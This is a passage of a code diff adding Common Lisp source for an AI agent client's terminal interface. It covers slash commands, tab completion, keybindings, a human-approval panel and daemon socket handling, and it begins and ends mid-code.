(string-equal (subseq text 0 13) "/context why ")) + (let ((node-id (string-trim '(#\Space) (subseq text 13)))) + (if (fboundp 'passepartout::memory-object-get) + (let ((obj (funcall 'passepartout::memory-object-get node-id))) + (if obj + (let ((attrs (passepartout::memory-object-attributes obj)) + (parent (passepartout::memory-object-parent-id obj)) + (children (passepartout::memory-object-children obj)) + (hash (or (passepartout::memory-object-hash obj) "(none)"))) + (add-msg :system (format nil "Node ~a: type=~a scope=~a version=~a" + node-id + (passepartout::memory-object-type obj) + (passepartout::memory-object-scope obj) + (passepartout::memory-object-version obj))) + (when parent + (add-msg :system (format nil " parent: ~a" parent))) + (when children + (add-msg :system (format nil " children: ~d" (length children)))) + (add-msg :system (format nil " hash: ~a" (subseq hash 0 (min 32 (length hash))))) + (when attrs + (add-msg :system (format nil " title: ~a" (or (getf attrs :TITLE) "(none)"))))) + (add-msg :system (format nil "Node ~a not found in memory" node-id)))) + (add-msg :system "Memory not available")))) + ;; /context dropped — estimate pruned nodes from budget + ((string-equal text "/context dropped") + (let* ((msg-count (length (st :messages))) + (est-total (* msg-count 60)) + (budget 8192) + (dropped-msgs (if (> est-total budget) + (floor (- est-total budget) 60) + 0))) + (if (> dropped-msgs 0) + (add-msg :system (format nil "Estimate: ~d messages (~d tokens) may be pruned at budget ~d tokens (~d% used)" + dropped-msgs (- est-total budget) budget + (floor (* 100 est-total) budget))) + (add-msg :system (format nil "Within budget: ~d tokens used of ~d tokens (~d%)" + est-total budget (floor (* 100 est-total) budget)))))) + ;; /search command — message search + ((and (>= (length text) 8) (string-equal (subseq text 0 8) "/search ")) + (let* ((query (string-downcase (string-trim '(#\Space) (subseq text 8)))) + (msgs (st :messages)) + (total (length msgs)) + (matches nil)) + (loop for i from 0 below total + for m = (aref msgs i) + for content = (getf m :content) + when (search query (string-downcase content)) + do (push i matches)) + (setf matches (nreverse matches)) + ;; Enter search mode + (setf (st :search-mode) t + (st :search-query) query + (st :search-matches) matches + (st :search-match-idx) 0) + (if matches + (add-msg :system (format nil "Search: ~d matches for '~a' (1/~d) — Up/Down nav, Enter jump, Esc exit" + (length matches) query (length matches))) + (add-msg :system (format nil "0 matches for '~a'" query))))) + ;; /rewind command — session rewind + ((and (>= (length text) 8) (string-equal (subseq text 0 8) "/rewind ")) + (let* ((n-str (string-trim '(#\Space) (subseq text 8))) + (n (handler-case (parse-integer n-str) (error () nil)))) + (if n + (if (fboundp 'passepartout::rollback-memory) + (let* ((idx (1- n)) + (snaps passepartout::*memory-snapshots*) + (ts (when (< idx (length snaps)) + (getf (nth idx snaps) :timestamp)))) + (funcall 'passepartout::rollback-memory idx) + (add-msg :system (format nil "Rewound ~d turn~:p~@[ (~a)~]" n ts))) + (add-msg :system "Memory rollback not available")) + (add-msg :system "Usage: /rewind ")))) + ;; /sessions command — list snapshots + ((string-equal text "/sessions") + (let ((snaps passepartout::*memory-snapshots*)) + (if snaps + (let ((shown (subseq snaps 0 (min 10 (length snaps))))) + (add-msg :system (format nil "~d snapshots (showing ~d):" + (length snaps) (length shown))) + (loop for s in shown + for i from 0 + for ts = (getf s :timestamp) + for data = (getf s :data) + for size = (hash-table-size data) + do (add-msg :system (format nil " #~d: ~a objects, timestamp ~d" + (1+ i) size ts)))) + (add-msg :system "No snapshots available")))) + ;; /audit verify — memory integrity + ((string-equal text "/audit verify") + (if (fboundp 'passepartout::audit-verify-hash) + (let* ((result (funcall 'passepartout::audit-verify-hash)) + (total (car result)) + (missing (cdr result))) + (add-msg :system (format nil "Audit: ~d objects, ~d missing hashes, ~d snapshots~@[ — VERIFY PASS~]~@[ — ~d MISSING HASHES~]" + total missing + (length passepartout::*memory-snapshots*) + (zerop missing) + (unless (zerop missing) missing)))) + (add-msg :system "Memory audit not available"))) + ;; /resume — resume from snapshot + ((and (>= (length text) 8) (string-equal (subseq text 0 8) "/resume ")) + (let* ((n-str (string-trim '(#\Space) (subseq text 8))) + (n (handler-case (parse-integer n-str) (error () nil)))) + (if n + (if (fboundp 'passepartout::rollback-memory) + (progn (funcall 'passepartout::rollback-memory (1- n)) + (add-msg :system (format nil "Resumed from snapshot ~d" n))) + (add-msg :system "Memory rollback not available")) + (add-msg :system "Usage: /resume ")))) + ;; /help — search user manual + ((and (>= (length text) 6) (string-equal (subseq text 0 6) "/help ")) + (let ((topic (string-trim '(#\Space) (subseq text 6))) + (sections (self-help-lookup (string-trim '(#\Space) (subseq text 6))))) + (if sections + (dolist (entry sections) + (let* ((title (car entry)) + (content (cdr entry)) + (preview (if (> (length content) 300) + (concatenate 'string (subseq content 0 297) "...") + content))) + (add-msg :system (format nil "~a: ~a" title preview)))) + (add-msg :system (format nil "No manual section found for '~a'" topic))))) + ((string-equal text "/help") + (add-msg :system "/eval Evaluate Lisp") + (add-msg :system "/undo Undo last operation") + (add-msg :system "/redo Redo last operation") + (add-msg :system "/why Show last gate trace") + (add-msg :system "/identity Edit IDENTITY.org") + (add-msg :system "/tags List tag severities") + (add-msg :system "/audit Inspect memory object") + (add-msg :system "/search Search messages") + (add-msg :system "/context Show context summary") + (add-msg :system "/rewind Rewind to snapshot N") + (add-msg :system "/sessions Show snapshots") + (add-msg :system "/resume Resume from snapshot") + (add-msg :system "/focus Set project context") + (add-msg :system "/theme Show theme") + (add-msg :system "/help [topic] Show this help") + (add-msg :system "\\ + Enter Multi-line input") + (add-msg :system "Ctrl+G Toggle gate trace")) + ;; /theme command + ((string-equal text "/theme") + (add-msg :system (format nil "Theme: ~a — user-fg=~a agent-fg=~a system=~a input-fg=~a" + *tui-theme-current-name* + (getf *tui-theme* :user-fg) + (getf *tui-theme* :agent-fg) + (getf *tui-theme* :system) + (getf *tui-theme* :input-fg))) + (add-msg :system "Presets: /theme amber | gold | terracotta | sepia | nord-warm | monokai-warm | gruvbox-warm | light-amber | catppuccin | tokyonight | dracula | gemini | mono")) + ((and (>= (length text) 7) + (string-equal (subseq text 0 7) "/theme ")) + (let ((name (string-trim '(#\Space) (subseq text 7)))) + (if (theme-switch name) + (add-msg :system (format nil "Theme switched to ~a" name)) + (add-msg :system (format nil "Unknown theme '~a'. Try: amber gold terracotta sepia nord-warm monokai-warm gruvbox-warm light-amber catppuccin tokyonight dracula gemini mono" name))))) + ;; /eval command + ((and (>= (length text) 6) + (string-equal (subseq text 0 6) "/eval ")) + (handler-case + (let* ((*read-eval* t) + (*package* (find-package :passepartout.channel-tui)) + (r (eval (read-from-string (subseq text 6))))) + (add-msg :system (format nil "=> ~s" r))) + (error (c) (add-msg :system (format nil "=> ✗ ~a" c))))) + ;; /focus — set project context + ((and (>= (length text) 7) + (string-equal (subseq text 0 7) "/focus ")) + (let ((project (string-trim '(#\Space) (subseq text 7)))) + (if (and (fboundp 'focus-project) (> (length project) 0)) + (progn (funcall 'focus-project project nil) + (add-msg :system (format nil "Focused on project: ~a" project))) + (add-msg :system "Usage: /focus ")))) + ;; /scope — change context scope + ((and (>= (length text) 7) + (string-equal (subseq text 0 7) "/scope ")) + (let ((scope-str (string-trim '(#\Space) (subseq text 7)))) + (cond + ((and (fboundp 'focus-session) (string-equal scope-str "session")) + (funcall 'focus-session) + (add-msg :system "Scope: session")) + ((and (fboundp 'focus-project) (string-equal scope-str "project")) + (funcall 'focus-project nil nil) + (add-msg :system "Scope: project")) + ((and (fboundp 'focus-memex) (string-equal scope-str "memex")) + (funcall 'focus-memex) + (add-msg :system "Scope: memex")) + (t (add-msg :system "Usage: /scope memex|session|project"))))) + ;; /unfocus — pop context + ((and (>= (length text) 8) + (string-equal (subseq text 0 8) "/unfocus")) + (if (fboundp 'unfocus) + (progn (funcall 'unfocus) + (add-msg :system "Popped context")) + (add-msg :system "Context manager not loaded"))) + ;; /quit — save history and exit + ((or (string-equal text "/quit") (string-equal text "/q")) + (let ((hist-file (merge-pathnames ".cache/passepartout/history" + (user-homedir-pathname)))) + (uiop:ensure-all-directories-exist (list hist-file)) + (with-open-file (out hist-file :direction :output + :if-exists :supersede :if-does-not-exist :create) + (dolist (entry (reverse (st :input-history))) + (write-line entry out)))) + (add-msg :system "* Goodbye *") + (send-daemon (list :type :event :payload '(:action :quit))) + (setf (st :running) nil)) + ;; /reconnect — re-establish daemon connection + ((string-equal text "/reconnect") + (disconnect-daemon) + (add-msg :system "* Reconnecting... *") + (connect-daemon) + (setf (st :dirty) (list t t nil))) + ;; Normal message + (t + (add-msg :user text) + (setf (st :busy) t) + (send-daemon (list :type :event + :payload (list :sensor :user-input :text text))))) + (setf (st :input-buffer) nil) + (setf (st :cursor-pos) 0) + (setf (st :dirty) (list t t t)))))) + ;; Tab — command completion (v0.7.0: extended with subcommand + file paths) + ((or (eql ch 9) (eq ch :tab)) + (let ((text (input-string))) + (cond + ;; @ prefix — file path completion + ((and (>= (length text) 1) (eql (char text 0) #\@)) + (let* ((partial (subseq text 1)) + (memex (or (uiop:getenv "MEMEX_DIR") + (namestring (merge-pathnames "memex/" (user-homedir-pathname))))) + (proj (merge-pathnames (make-pathname :directory '(:relative "projects")) memex)) + (files (handler-case (append (uiop:directory-files proj "**/*.org") + (uiop:directory-files proj "**/*.lisp")) + (error () nil))) + (names (mapcar (lambda (f) (subseq (namestring f) (1+ (length (namestring proj))))) files)) + (match (find-if (lambda (n) (and (>= (length n) (length partial)) + (string-equal n partial :end2 (length partial)))) + names))) + (when match + (setf (st :input-buffer) (reverse (coerce (concatenate 'string "@" match) 'list))) + (setf (st :dirty) (list nil nil t))))) + ;; /theme subcommand + ((and (>= (length text) 7) (string-equal (subseq text 0 7) "/theme ")) + (let* ((partial (string-trim '(#\Space) (subseq text 7))) + (names '("amber" "gold" "terracotta" "sepia" "nord-warm" "monokai-warm" "gruvbox-warm" "light-amber" "catppuccin" "tokyonight" "dracula" "gemini" "mono")) + (match (if (string= partial "") (first names) + (find partial names :test #'string-equal)))) + (when match + (setf (st :input-buffer) (reverse (coerce (concatenate 'string "/theme " match) 'list))) + (setf (st :dirty) (list nil nil t))))) + ;; /focus subcommand + ((and (>= (length text) 7) (string-equal (subseq text 0 7) "/focus ")) + (let* ((partial (string-trim '(#\Space) (subseq text 7))) + (memex (or (uiop:getenv "MEMEX_DIR") + (namestring (merge-pathnames "memex/" (user-homedir-pathname))))) + (proj (merge-pathnames (make-pathname :directory '(:relative "projects")) memex)) + (dirs (handler-case (mapcar (lambda (d) (car (last (pathname-directory d)))) + (uiop:subdirectories proj)) + (error () nil))) + (match (if (string= partial "") (first dirs) + (find-if (lambda (d) (and (>= (length d) (length partial)) + (string-equal d partial :end2 (length partial)))) + dirs)))) + (when match + (setf (st :input-buffer) (reverse (coerce (concatenate 'string "/focus " match) 'list))) + (setf (st :dirty) (list nil nil t))))) + ;; Command prefix / + ((and (> (length text) 1) (eql (char text 0) #\/)) + (let* ((cmds '("/eval" "/focus" "/scope" "/unfocus" "/help" "/theme" "/reconnect" "/quit")) + (match (find text cmds :test + (lambda (in cmd) (and (>= (length cmd) (length in)) + (string-equal cmd in :end1 (length in))))))) + (when match + (setf (st :input-buffer) (reverse (coerce match 'list))) + (when (member match '("/eval" "/focus" "/scope") :test #'string=) + (push #\Space (st :input-buffer))) + (setf (st :dirty) (list nil nil t)))))))) + ;; Backspace + ((or (eq ch :backspace) (eql ch 127) (eql ch 8) (eql ch 263) + (eql ch #\Backspace)) + (input-delete-char) + (setf (st :dirty) (list nil nil t))) + ;; Left arrow + ((eq ch :left) + (when (> (or (st :cursor-pos) 0) 0) + (decf (st :cursor-pos)) + (setf (st :dirty) (list nil nil t)))) + ;; Right arrow + ((eq ch :right) + (when (< (or (st :cursor-pos) 0) (length (st :input-buffer))) + (incf (st :cursor-pos)) + (setf (st :dirty) (list nil nil t)))) + ;; Up arrow + ((eq ch :up) + (let* ((h (st :input-history)) (p (st :input-hpos))) + (when (and h (< p (1- (length h)))) + (incf (st :input-hpos)) + (setf (st :input-buffer) + (reverse (coerce (nth (st :input-hpos) h) 'list))) + (setf (st :dirty) (list nil nil t))))) + ;; Down arrow + ((eq ch :down) + (when (> (st :input-hpos) 0) + (decf (st :input-hpos)) + (let ((h (st :input-history))) + (setf (st :input-buffer) + (if (and h (< (st :input-hpos) (length h))) + (reverse (coerce (nth (st :input-hpos) h) 'list)) + nil)) + (setf (st :dirty) (list nil nil t))))) + ;; PageUp — scroll back by page (10 lines) + ((eq ch :ppage) + (let ((max-offset (max 0 (- (length (st :messages)) 1)))) + (setf (st :scroll-offset) (min max-offset (+ (st :scroll-offset) 10)))) + (setf (st :dirty) (list nil t nil))) + ;; PageDown — scroll forward by page + ((eq ch :npage) + (setf (st :scroll-offset) (max 0 (- (st :scroll-offset) 10))) + (setf (st :dirty) (list nil t nil))) + ;; Printable + (t + (let ((chr (typecase ch + (character ch) + ((integer 32 126) (code-char ch)) + (keyword (let ((s (string ch))) + (and (= (length s) 1) (char-downcase (char s 0))))) + (t nil)))) + (when (and chr (graphic-char-p chr)) + (input-insert-char chr) + (setf (st :dirty) (list nil nil t)) + (when (and (char= chr #\/) (null (st :dialog-stack)) + (= (length (st :input-buffer)) 1)) + (unified-menu-show "/"))))))) + +;; v0.9.0 — unified command minibuffer (replaces separate palette and slash menus) +(defun unified-menu-show (&optional initial-filter) + "Open the command minibuffer with ALL commands. If INITIAL-FILTER is +supplied (e.g. \"/\"), pre-fill the select filter with it." + (let* ((on-select (lambda (opt) + (pop (st :dialog-stack)) + (let ((val (getf opt :value))) + (cond ((stringp val) + ;; Slash command — fill input buffer + (setf (st :input-buffer) (reverse (coerce val 'list))) + (setf (st :cursor-pos) 0) + (setf (st :dirty) (list nil nil t))) + ((listp val) + ;; Daemon action — send immediately + (send-daemon (list :type :event :payload val)) + (add-msg :system (format nil "Sent: ~a" (getf opt :title))) + (setf (st :dirty) (list t t nil))))))) + (sel (cl-tty.select:make-select :options (all-commands) :on-select on-select))) + (when initial-filter + (setf (cl-tty.select:select-filter sel) initial-filter)) + (let ((dlg (make-instance 'cl-tty.dialog:dialog :title "Commands" :content sel))) + (push dlg (st :dialog-stack))))) + +;; v0.7.2 — resolve-hitl-panel: marks panel as resolved after approve/deny +(defun resolve-hitl-panel (decision) + "Mark the most recent HITL panel message as resolved with DECISION." + (loop for i from (1- (length (st :messages))) downto 0 + for m = (aref (st :messages) i) + when (and (getf m :panel) (not (getf m :panel-resolved))) + do (setf (getf m :panel-resolved) decision) + (setf (aref (st :messages) i) m) + (setf (st :dirty) (list nil t nil)) + (loop-finish))) + +;; v0.7.2 — self-help-lookup: read USER_MANUAL.org and find matching sections +(defun self-help-lookup (topic) + "Search USER_MANUAL.org for headlines matching TOPIC, return content previews." + (let* ((manual-path (merge-pathnames "projects/passepartout/docs/USER_MANUAL.org" + (merge-pathnames "memex/" (user-homedir-pathname)))) + (results nil)) + (handler-case + (let* ((text (uiop:read-file-string manual-path)) + (lines (uiop:split-string text :separator '(#\Newline))) + (in-section nil) + (section-content nil)) + (dolist (line lines) + (let ((trimmed (string-trim '(#\Space #\Tab) line))) + (cond + ;; New headline + ((and (>= (length trimmed) 2) (eql (char trimmed 0) #\*)) + (when (and in-section section-content) + (push (cons in-section (string-trim '(#\Space #\Newline) + (format nil "~{~a~^ ~}" (reverse section-content)))) + results)) + (let ((title (string-trim '(#\Space #\*) trimmed))) + (if (search topic title :test #'char-equal) + (setf in-section title + section-content nil) + (setf in-section nil + section-content nil)))) + ;; Content line in matching section + (in-section + (when (and (> (length trimmed) 0) + (not (eql (char trimmed 0) #\#))) + (push trimmed section-content)))))) + (when (and in-section section-content) + (push (cons in-section (string-trim '(#\Space #\Newline) + (format nil "~{~a~^ ~}" (reverse section-content)))) + results)) + (nreverse results)) + (error (c) (list (cons "Error" (format nil "Cannot read manual: ~a" c))))))) + +(defun on-daemon-msg (msg) + (let* ((payload (getf msg :payload)) + (text (getf payload :text)) + (msg-type (getf msg :type)) + (action (getf payload :action)) + (level (getf msg :level)) + (gate-trace (getf msg :gate-trace)) + (rule-count (getf payload :rule-count)) + (foveal-id (getf payload :foveal-id)) + (session-cost (getf payload :session-cost))) + ;; v0.7.2: HITL approval-required panel + (when (eq level :approval-required) + (let* ((hitl-msg (or (getf payload :message) + (getf payload :text) + "HITL approval required")) + (hitl-action (getf (getf payload :action) :payload)) + (tool-name (getf hitl-action :tool)) + (explanation (or tool-name "unknown action"))) + (add-msg :system (format nil "┌─ Permission Required ─┐~%~a~%Action: ~a~%Respond: /approve HITL-xxxx or /deny HITL-xxxx" + hitl-msg explanation) + :panel t)) + (setf (st :dirty) (list nil t nil)) + (return-from on-daemon-msg nil)) + ;; v0.7.1: streaming chunk + (when (eq msg-type :stream-chunk) + (cond + ((string= text "") + ;; Final chunk: stamp time, clear streaming + (when (> (length (st :messages)) 0) + (let ((idx (1- (length (st :messages))))) + (setf (getf (aref (st :messages) idx) :streaming) nil) + (setf (getf (aref (st :messages) idx) :time) (now)))) + (setf (st :streaming-text) nil) + (setf (st :busy) nil) + (setf (st :dirty) (list nil t nil)) + (return-from on-daemon-msg nil)) + ((null (st :streaming-text)) + ;; First chunk: add new streaming message + (setf (st :streaming-text) "") + (setf (st :busy) nil) + (add-msg :agent text) + (let ((idx (1- (length (st :messages))))) + (setf (getf (aref (st :messages) idx) :streaming) t)) + (setf (st :streaming-text) text) + (setf (st :dirty) (list nil t nil)) + (return-from on-daemon-msg nil)) + (t + ;; Subsequent chunk: append + (let* ((new-text (concatenate 'string (st :streaming-text) text)) + (idx (1- (length (st :messages))))) + (setf (st :streaming-text) new-text) + (setf (getf (aref (st :messages) idx) :content) new-text) + (setf (st :dirty) (list nil t nil))) + (return-from on-daemon-msg nil)))) + (when rule-count (setf (st :rule-count) rule-count)) + (when foveal-id (setf (st :foveal-id) foveal-id)) + (when session-cost (setf (st :session-cost) session-cost)) + (cond + (text (setf (st :busy) nil) + (add-msg :agent text :gate-trace gate-trace)) + ((eq action :handshake) + (setf (st :daemon-version) (getf payload :version))) + (t (add-msg :agent (format nil "~a" msg)))))) + +(defun send-daemon (msg) + (let ((s (st :stream))) + (when (and s (open-stream-p s)) + (handler-case + (progn + (format s "~a" (frame-message msg)) + (finish-output s)) + (error () nil))))) + +(defun recv-daemon (s) + (handler-case + (let* ((hdr (make-string 6)) (n 0)) + (loop while (< n 6) + do (let ((ch (read-char s nil))) + (unless ch (return-from recv-daemon nil)) + (setf (char hdr n) ch) (incf n))) + (let* ((len (parse-integer hdr :radix 16 :junk-allowed t)) + (buf (make-string (or len 0)))) + (when (and len (> len 0)) + (loop for i from 0 below len + do (let ((ch (read-char s nil))) + (unless ch (return-from recv-daemon nil)) + (setf (char buf i) ch))) + (let ((*read-eval* nil)) + (read-from-string buf))))) + (error () nil))) + +(defun reader-loop (s) + (let ((consecutive-nils 0)) + (loop while (and (st :running) (open-stream-p s)) + do (let ((msg (recv-daemon s))) + (if msg + (progn (queue-event (list :type :daemon :payload msg)) + (setf consecutive-nils 0)) + (progn (sleep 0.5) + (incf consecutive-nils) + (when (> consecutive-nils 10) + (queue-event (list :type :disconnected)) + (return)))))))) + +(defun load-history () + "Load input history from disk on TUI startup." + (let ((hist-file (merge-pathnames ".cache/passepartout/history" + (user-homedir-pathname)))) + (when (uiop:file-exists-p hist-file) + (with-open-file (in hist-file :direction :input) + (loop for line = (read-line in nil nil) + while line + do (push line (st :input-history)))) + (setf (st :input-history) (nreverse (st :input-history)))))) + +(defun connect-daemon (&optional (host "127.0.0.1") (start-port 9105) (end-port 9115)) + "Try to connect to daemon once across START-PORT to END-PORT. +Returns T on success, nil on failure. Does NOT wait or retry." + (loop for port from start-port to end-port + do (handler-case + (let ((s (usocket:socket-connect host port :timeout 2))) + (setf (st :stream) (usocket:socket-stream s) + (st :connected) t) + (bt:make-thread (lambda () (reader-loop (st :stream))) + :name "tui-reader") + (return-from connect-daemon t)) + (usocket:connection-refused-error () nil) + (error (c) nil))) + nil) + +(defun disconnect-daemon () + (when (st :stream) + (ignore-errors (close (st :stream))) + (setf (st :stream) nil (st :connected) nil) + (add-msg :system (format nil "* Disconnected [now=~a] *" (now))))) + +;; v0.8.0 — Global keymap +(eval-when (:load-toplevel :execute) + (cl-tty.input:defkeymap :global + (:ctrl+q (lambda (e) (declare (ignore e)) + (setf (st :running) nil))) + (:ctrl+p (lambda (e) (declare (ignore e)) + (unified-menu-show))) + (:ctrl+b (lambda (e) (declare (ignore e)) + (setf (st :sidebar-mode) + (case (st :sidebar-mode) + (:auto :visible) + (:visible :hidden) + (:hidden :auto))) + (setf (st :dirty) (list t t nil)))) + (:ppage (lambda (e) (declare (ignore e)) + (let ((max-offset (max 0 (- (length (st :messages)) 1)))) + (setf (st :scroll-offset) (min max-offset (+ (st :scroll-offset) 10)))) + (setf (st :dirty) (list nil t nil)))) + (:npage (lambda (e) (declare (ignore e)) + (setf (st :scroll-offset) (max 0 (- (st :scroll-offset) 10))) + (setf (st :dirty) (list nil t nil)))) + ;; v0.9.0 — Readline keybindings + (:ctrl+a (lambda (e) (declare (ignore e)) + (setf (st :cursor-pos) 0))) + (:ctrl+e (lambda (e) (declare (ignore e)) + (setf (st :cursor-pos) (length (st :input-buffer))))) + (:ctrl+u (lambda (e) (declare (ignore e)) + (setf (st :input-buffer) nil) + (setf (st :cursor-pos) 0) + (setf (st :dirty) (list nil nil t)))) + (:ctrl+w (lambda (e) (declare (ignore e)) + (let ((buf (st :input-buffer))) + (loop while (and buf (char= (first buf) #\Space)) do (pop buf)) + (loop while (and buf (char/= (first buf) #\Space)) do (pop buf)) + (setf (st :input-buffer) buf) + (setf (st :dirty) (list nil nil t))))) + (:ctrl+k (lambda (e) (declare (ignore e)) + (let* ((s (input-string)) + (pos (or (st :cursor-pos) 0)) + (killed (subseq s pos))) + (setf (st :kill-ring) killed) + (setf (st :input-buffer) (reverse (coerce (subseq s 0 pos) 'list))) + (setf (st :dirty) (list nil nil t))))) + (:ctrl+y (lambda (e) (declare (ignore e)) + (let ((killed (st :kill-ring))) + (when killed + (dolist (ch (reverse (coerce killed 'list))) + (push ch (st :input-buffer))) + (setf (st :cursor-pos) (length (st :input-buffer))) + (setf (st :dirty) (list nil nil t)))))) + (:ctrl+l (lambda (e) (declare (ignore e)) + (setf (st :dirty) (list t t t)))) + (:ctrl+d (lambda (e) (declare (ignore e)) + (when (or (null (st :input-buffer)) (string= "" (input-string))) + (add-msg :system "Goodbye. Run /quit or press Ctrl+D again to exit.")))) + (:ctrl+f (lambda (e) (declare (ignore e)) + (add-msg :system "Use /search to find messages"))) + (:ctrl+g (lambda (e) (declare (ignore e)) + (let ((gate-idx nil)) + (loop for i from (1- (length (st :messages))) downto 0 + for m = (aref (st :messages) i) + when (and (getf m :gate-trace) (listp (getf m :gate-trace))) + do (setf gate-idx i) (loop-finish)) + (if gate-idx + (let ((cg (st :collapsed-gates))) + (if (member gate-idx cg) + (setf (st :collapsed-gates) (remove gate-idx cg)) + (push gate-idx (st :collapsed-gates))) + (add-msg :system (format nil "Gate trace ~a for msg ~a" + (if (member gate-idx (st :collapsed-gates)) "hidden" "shown") + gate-idx)) + (setf (st :dirty) (list nil t nil))) + (add-msg :system "No gate trace to toggle"))))) + (:alt+enter (lambda (e) (declare (ignore e)) + (push #\Newline (st :input-buffer)) + (setf (st :dirty) (list nil nil t)))) + ;; v0.9.0 — Ctrl+X prefix + help + (:ctrl+x (lambda (e) (declare (ignore e)) + (setf (st :pending-ctrl-x) t))) + (:? (lambda (e) (declare (ignore e)) + (add-msg :system "Keybindings: Ctrl+P palette | Ctrl+B sidebar | Ctrl+F search | Ctrl+L redraw | Ctrl+D quit | Ctrl+Q quit | PageUp/Dn scroll | Esc interrupt | Tab complete | Up/Dn history") + (add-msg :system "Commands: /eval | /undo | /redo | /why | /identity | /tags | /audit | /search | /context | /focus | /scope | /unfocus | /theme | /reconnect | /help") + (setf (st :dirty) (list t t nil)))))) + +;; v0.8.0 — Prompt/local keymap (for when input is active) +(eval-when (:load-toplevel :execute) + (cl-tty.input:defkeymap :local + (:up (lambda (e) (declare (ignore e)) (on-key :up))) + (:down (lambda (e) (declare (ignore e)) (on-key :down))) + (:escape (lambda (e) (declare (ignore e)) (on-key :escape))))) + +(defvar *cat-proc* nil "Cat subprocess for keyboard input (unused — direct stdin reads)") +(defvar *tty-in* nil "Stream from cat subprocess stdout (unused — direct stdin reads)") + +(defun tui-main () + (init-state) + (load-history) + (theme-load) + (let* ((swank-port (or (ignore-errors + (parse-integer (uiop:getenv "TUI_SWANK_PORT"))) + 4006))) + (setf (st :dirty) (list t t t)) + ;; Quick sync connect attempt (just 3 ports, 6s max) + (let ((connected (connect-daemon "127.0.0.1" 9105 9107))) + (unless connected + (add-msg :system "* Daemon not found — will retry in background... *"))) + (when (> swank-port 0) + (handler-case + (progn + (ql:quickload :swank :silent t) + (let ((*standard-output* (make-string-output-stream)) + (*error-output* (make-string-output-stream))) + (funcall (find-symbol "CREATE-SERVER" "SWANK") + :port swank-port :dont-close t)) + (add-msg :system + (format nil "* Swank ~d M-x slime-connect *" swank-port))) + (error () + (add-msg :system "* Swank unavailable *")))) + (cl-tty.backend:with-terminal (be w h) + ;; stty -icanon -echo -ixon is set by the bash script. + ;; We read directly from SBCL's stdin (fd 0) since the + ;; terminal is in raw mode — no cat subprocess needed. + (add-msg :system (format nil "* ~a backend ~dx~d *" + (if (typep be 'cl-tty.backend:modern-backend) "modern" "simple") + w h)) + ;; Initial dirty all to trigger first redraw in loop + (setq w (or (and (numberp w) (> w 0) w) 80) + h (or (and (numberp h) (> h 0) h) 24)) + ;; Retry daemon connection in background if sync attempt failed + (unless (st :connected) + (add-msg :system "* Connecting to daemon... *") + (bt:make-thread + (lambda () + (loop while (and (st :running) (not (st :connected))) + do (connect-daemon) + (unless (st :connected) (sleep 5)))) + :name "daemon-auto-connect")) + (loop while (st :running) do + (dolist (ev (drain-queue)) + (cond + ((eq (getf ev :type) :daemon) + (on-daemon-msg (getf ev :payload))) + ((eq (getf ev :type) :disconnected) + (setf (st :connected) nil + (st :busy) nil) + (add-msg :system "* Connection lost — type /reconnect to retry *")) + ((eq (getf ev :type) :key) + (let* ((payload (getf ev :payload)) + (ch (getf payload :ch))) + (case ch + (:CTRL-Q (setf (st :running) nil)) + (:CTRL-P (unified-menu-show)) + (:CTRL-B (setf (st :sidebar-mode) + (case (st :sidebar-mode) + (:auto :visible) + (:visible :hidden) + (:hidden :auto))) + (setf (st :dirty) (list t t t))) + (:CTRL-L (setf (st :dirty) (list t t t))) + (t (if (st :dialog-stack) + (let* ((dlg (car (st :dialog-stack))) + (sel (cl-tty.dialog:dialog-content dlg))) + (cond + ((eql ch :escape) + (pop (st :dialog-stack)) + (setf (st :dirty) (list t t nil))) + ((member ch '(:up :down)) + (if (eql ch :up) + (cl-tty.select:select-prev sel) + (cl-tty.select:select-next sel))) + ((member ch '(:enter 13 10)) + (let* ((filtered (cl-tty.select:select-filtered-options sel)) + (idx (cl-tty.select:select-selected-index sel)) + (item (when (< idx (length filtered)) + (third (nth idx filtered))))) + (when item + (let ((cb (cl-tty.select:select-on-select sel))) + (when cb (funcall cb item)))))) + ((let ((chr (if (characterp ch) ch + (and (integerp ch) (<= 32 ch 126) + (code-char ch))))) + (and chr (graphic-char-p chr)) + (setf (cl-tty.select:select-filter sel) + (concatenate 'string + (or (cl-tty.select:select-filter sel) "") + (string chr))))) + ((member ch '(:backspace 127 8)) + (let ((f (cl-tty.select:select-filter sel))) + (when (> (length f) 0) + (setf (cl-tty.select:select-filter sel) + (subseq f 0 (1- f)))))))) + (on-key ch)))))))) + ;; Keyboard reader via read-raw-byte (proven CSI detection) + (handler-case + (let* ((b (cl-tty.input::read-raw-byte :timeout 0.1)) + (esc-seq (and b (= b 27) + (let ((b2 (cl-tty.input::read-raw-byte :timeout 0.15))) + (when (and b2 (= b2 91)) + (let ((t2 (cl-tty.input::read-raw-byte :timeout 0.15))) + (and t2 (case t2 + (65 :up) (66 :down) + (67 :right) (68 :left) + (72 :home) (70 :end) + (otherwise :escape))))))))) + (when b + (queue-event + (list :type :key + :payload (list :code b + :ch (or esc-seq + (cond + ((= b 13) :enter) + ((= b 10) :enter) + ((= b 27) :escape) + ((= b 9) :tab) + ((or (= b 127) (= b 8)) :backspace) + ((and (>= b 1) (<= b 26)) + (intern + (string-upcase + (format nil "CTRL-~a" + (code-char (+ #x60 b)))) + :keyword)) + (t b)))))))) + (error (c) + (add-msg :system (format nil "* Reader error: ~a *" c)))) + ;; Check for terminal resize (SIGWINCH sets this flag) + (when (boundp 'cl-tty.input::*terminal-resized-p*) + (when cl-tty.input::*terminal-resized-p* + (setf cl-tty.input::*terminal-resized-p* nil) + (multiple-value-setq (w h) (cl-tty.backend:backend-size be)) + (setq w (or (and (numberp w) (> w 0) w) 80) + h (or (and (numberp h) (> h 0) h) 24)) + (setf (st :dirty) (list t t t)))) + ;; Guard w and h before render (resize or other code may have set them to nil) + (setq w (or (and (numberp w) (> w 0) w) 80) + h (or (and (numberp h) (> h 0) h) 24)) + (unless (st :dialog-stack) + (redraw be w h)) + (let ((ds (st :dialog-stack))) + (when ds + (cl-tty.backend:begin-sync be) + (let* ((chat-w (- w (if (sidebar-visible-p w) (or (st :sidebar-width) 42) 0))) + (dlg (car ds)) + (sel (cl-tty.dialog:dialog-content dlg)) + (filtered (cl-tty.select:select-filtered-options sel)) + (sel-idx (cl-tty.select:select-selected-index sel)) + (cnt (length filtered)) + (filter (cl-tty.select:select-filter sel)) + (mh (min 15 (+ 1 cnt))) + (panel-top (passepartout.channel-tui:input-panel-top chat-w h)) + (top (max 0 (- panel-top mh))) + (bg-p (theme-color :bg-panel)) + (sep-c (theme-color :separator))) + ;; Fill minibuffer area with panel bg + (dotimes (r (min (- h 3 top) h)) + (cl-tty.backend:draw-rect be 0 (+ top r) chat-w 1 :bg 